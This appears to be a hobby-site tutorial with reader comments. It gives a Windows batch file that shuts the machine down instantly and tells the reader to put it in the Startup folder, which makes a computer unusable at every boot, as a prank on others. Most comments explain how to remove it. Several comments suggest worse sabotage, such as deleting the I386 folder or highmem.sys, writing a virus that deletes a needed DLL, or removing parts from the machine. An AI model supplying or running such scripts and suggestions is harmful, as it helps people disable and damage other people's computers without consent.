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Shutdown computer forever

Shutdown computer forever
Make a batch file with shutdown commands and paste to startup!
 
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Step 1Make the batch file

Make the batch file
Go to notepad and type the following between the lines:
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@echo off
cd /
shutdown -s -t 00 -c "Permanent Shutdown"
exit

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37 comments
Jun 24, 2011. 11:31 AMrwhitfield says:
How to stop:
Boot in safe mode.
Remove your horrid little program.
Boot in normal mode.
Shake butt in the author's FACE!
Say, "LICK IT AND LIKE IT!"
Sleep. :)
Aug 7, 2009. 2:28 AMRedFlash says:
You could just boot up from a portable linux disk and delete your little program
Mar 3, 2010. 5:20 PMadamthiede says:
yeah you could... but chances are that nobody knows what's going on...

if they bother to check and find out what's happening they could. You have to know the problem before you can fix it.

OR do it on a netbook! No cd drives there!
Mar 31, 2010. 11:28 PMRedFlash says:
Don't forget USB Linux!
Apr 1, 2010. 10:34 PMadamthiede says:
Yeah, good point. My friend booted his netbook from a USB flash drive. And I can boot my mac from a firewire hdd.
Apr 2, 2010. 11:18 PMRedFlash says:
:)
Mar 14, 2010. 5:18 PMdukeofdrow says:
You don't need a CD drive for the boot disc some boot discs like mine are just microchips. (I have one because i tested my script on my netbook and so i had to make a boot drive in a microchip.  Also on a microchip it works faster.)
Mar 14, 2010. 5:23 PMdukeofdrow says:
This is fake it does not shut it down permanently he just wrote it to say that all it does is shuts down 00 seconds after it's opened with it in the start up all you have to do is log onto another profile use command prompt make it administrator and delete it.  If you really want to shut down a computer forever you write a batch file that deletes the reboot script from the hard drive.  Like most of the people are saying on their comments yes you can reboot it from a portable Linux boot disk but you would have to use it every time you wanted to get on your computer.(This program will shut your computer down though.) No hate to the maker of this tutorial.
Jun 24, 2009. 7:37 PMTaurn says:
Delightfully evil!
Jun 14, 2009. 3:47 AMmemyselfand1 says:
Do what my sister did: delete the I386 folder on the Windows drive. Windows will then have to be reinstalled before it can work. Or, alternatively, take some small but crucial part out of the computer: ie. a 2mm piece of wire from the battery terminal.
Jun 4, 2009. 11:13 AMhq says:
You know I make me LOL when I read half of this stuff:

"It shuts it down for ever!" LOL

If you want to make a virus that I wont LOL at then make one in C NOT BATCH that deletes a .DLL that windows needs to run.

Or better, just get Linux then none of this stuff happens.

ALSO

It can easily get fixed!

HQQ

http://www.crackthissite.piczo.com
May 10, 2009. 9:08 AMHunter4000695 says:
all you haft to do is open the Computer in safe mode. As the Computer is first ternd on press F8 over and over a gen you should get a screen with a bunch of options and click on safe mode. then the Computer will open jest delete the program and your Computers is fix.
Apr 24, 2009. 11:09 PMjchar77 says:
You can still save the computer... Just get a bootable Linux disc and delete the prank from there.
Mar 7, 2009. 6:24 PMhg341 says:
hee hee go to your pcyou should be there right now find a file named

"highmem.sys"

when and if you find it delete it hee hee(god dont do this...)
Jan 8, 2009. 6:38 AMjgserd says:
If you didn't put the file in the C:\Documents and Settings\All Users\Start Menu\Programs\Startup folder (for XP), then you can log on as a different user and delete it by right clicking the start menu, explore, and navigate to the file. 99% of the time (in Windows) there is an administrator account that doesn't have a password. log on with that if you can't with any other account.
Jul 22, 2008. 12:33 AMJskate says:
what does the " cd /" bit do?
Jan 7, 2009. 7:16 AMultrauber says:
changes to the root directory
Jun 3, 2008. 6:00 AMcornboy3 says:
I don't even get why someone would want to do this anyways, plus all you have to do is format the os off with something else.
Jan 5, 2009. 12:36 AMEx Marine says:
well maybe you were throwing the computer out and you didnt want people getting hold of your info
Jun 3, 2008. 12:29 PMaliceownsj00 says:
thats kind of sad... in a weird 'I love my computer a whole lot' kind of way lol its like killing it.... forever ;.;!
Jun 3, 2008. 2:04 PMdsman195276 says:
no, you could undo it. there is always a way.
Aug 11, 2008. 3:12 AMQwertyuioLP says:
wot is it then??? PM me
Oct 23, 2008. 1:22 AMbug on fire says:
yeah that's what i was thinking
Aug 11, 2008. 4:07 AMdsman195276 says:
start your computer in safe mode, and then turn off the batch file.
Jan 7, 2009. 7:16 AMultrauber says:
I was thinking run shutdown -a before it turns off.
Jan 9, 2011. 1:13 PMmichaelb958 says:
Um, if the time delay is 00 then it happens instantly: there is no time to abort.
Jun 3, 2008. 2:21 PMaliceownsj00 says:
I like your icon, it's cute
Jun 3, 2008. 3:10 PMdsman195276 says:
thanks.
Jun 13, 2008. 11:54 AMbhunter736 says:
You would be able to get to safe mode using the [F8] key during initial startup. The best way is to just start tapping the key during the RAM check and keep tapping until you get the startup menu with Safe Mode as an option. You could boot with a LiveCD also and just remove the bat file from the C:\windows\startup folder. Lots of options, most are outside the average users knowledge.
Jun 4, 2008. 8:38 PMcheeseefungu says:
Just go through safe mode. Tried it, works fine, but man..YOU ARE EVIL
Jun 3, 2008. 4:59 PMbenthekahn says:
I think I may have a solution. What if you started your computer into disk mode and connected it to another computer and deleted the file through the second computer?
Jun 3, 2008. 10:41 AMonlyonebowman says:
never would of thought of that
Jun 2, 2008. 10:41 PMH4T says:
No, this will not work in safe mode. Safe Mode disables all extraneous start-up programs, so you can get rid of it there. Granted this is beyond most casual computer users so this is still pretty evil :P
Jun 2, 2008. 9:49 PMTheWelfareWarrior says:
That is horrible/awesome can you boot into safe mode and turn it off? or do you have to open "run" and type shutdown -a?
Jun 2, 2008. 10:06 PMNeryam says:
Wow. That's really mean. Would that still run in safe mode?

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